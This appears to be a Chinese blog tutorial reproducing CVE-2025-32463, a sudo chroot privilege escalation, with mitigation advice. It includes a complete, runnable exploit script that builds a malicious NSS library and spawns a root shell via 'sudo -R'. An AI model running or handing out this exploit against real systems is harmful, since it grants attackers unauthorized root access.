Loading ...
CVE-2025-32463(sudo chroot 权限提升漏洞)

一、漏洞基础信息

  1. 漏洞名称:sudo chroot 权限提升漏洞(又称 “chwoot” 漏洞)

  2. CVE 编号CVE-2025-32463

  3. 影响版本:sudo 1.9.14 及以上版本(含 1.9.15p5,本次复现版本)

  4. 漏洞原理:利用 sudo 的-R/–chroot选项,在进入用户可控的 chroot 环境后,sudo 会优先加载该环境下的恶意 NSS(Name Service Switch)配置文件和动态链接库。由于 glibc 的 NSS 机制在解析用户信息时会加载这些恶意库,且该过程发生在sudoers权限检查之前,攻击者可通过恶意库在 root 权限下执行任意代码,实现权限提升。

二、环境准备

  1. 系统要求:Linux 系统(本次使用 Ubuntu 类系统),sudo 版本为 1.9.14 及以上(通过sudo -V确认)。

  2. 低权限用户:已创建testuser(UID=1001),用于模拟攻击者。

  3. 工具安装:需安装gcc(用于编译恶意动态库),以 root 身份执行:

    apt update && apt install gcc -y

三、详细复现步骤

(一)切换到低权限用户

  1. 以 root 身份切换到testuser:

su testuser
  1. 验证当前用户身份:

$ id
uid=1001(testuser) gid=1001(testuser) 组=1001(testuser)  # 确认处于低权限环境
$ cd /tmp
$ pwd
/tmp

(二)创建漏洞利用脚本

  1. 在testuser环境下,创建exp.sh脚本:

nano exp.sh
  1. 脚本内容(核心逻辑为构造恶意库和 chroot 环境):

#!/bin/bash
# CVE-2025-32463 漏洞利用脚本
STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX)  # 创建临时工作目录
cd ${STAGE?} || exit 1

# 编写恶意NSS动态库代码
cat > woot1337.c <<EOF
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor)) void woot(void) {
  setreuid(0, 0);  // 设置用户ID为root
  setregid(0, 0);  // 设置组ID为root
  chdir("/");      // 切换到根目录
  execl("/bin/bash", "/bin/bash", NULL);  // 启动root shell
}
EOF

# 构造chroot环境目录结构
mkdir -p woot/etc libnss_
echo "passwd: /woot1337" > woot/etc/nsswitch.conf  # 指定加载恶意NSS库
cp /etc/group woot/etc  # 复制系统group文件,避免解析错误

# 编译恶意动态库(生成libnss_woot1337.so.2)
gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c

# 执行漏洞利用(-R指定chroot目录为woot,命令woot可不存在)
echo "触发漏洞..."
sudo -R woot woot

# 清理临时文件(若提权成功,需手动清理)
rm -rf ${STAGE?}
  1. 保存并退出编辑器(Ctrl+O保存,Ctrl+X退出)。

(三)赋予脚本执行权限并运行

  1. 赋予执行权限:

chmod +x exp.sh
  1. 执行脚本:

./exp.sh

(四)验证提权结果

  1. 脚本执行后,成功进入 root 环境,执行id验证:

四、关键流程解析

  1. 恶意库设计:woot1337.c中用attribute((constructor))修饰的woot()函数,会在库被加载时自动执行,通过setreuid和setregid切换为 root 权限,并启动 bash shell。

  2. chroot 环境构造:创建woot/etc目录,写入nsswitch.conf指定解析passwd时加载/woot1337(即恶意库libnss_woot1337.so.2),同时复制/etc/group避免用户组解析失败。

  3. 漏洞触发:sudo -R woot woot命令使 sudo 进入woot目录作为 chroot 环境,在解析用户信息时加载恶意库,触发woot()函数执行,最终获得 root shell。

五、复现后处理

  1. 清理临时文件:退出 root shell(exit),返回testuser环境,删除临时目录:

rm -rf /tmp/sudowoot.stage.*

2升级 sudo 修复漏洞:以 root 身份执行:

apt update && apt upgrade sudo -y  # 升级至1.9.18及以上修复版本

六、注意事项

  1. 漏洞利用依赖sudo -R选项的使用权限,若用户被禁止使用该选项,则无法触发。

  2. 复现仅用于安全研究,请勿在未授权系统上使用。

  3. 编译恶意库时需确保gcc已安装,否则会提示 “gcc: 未找到命令”。

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇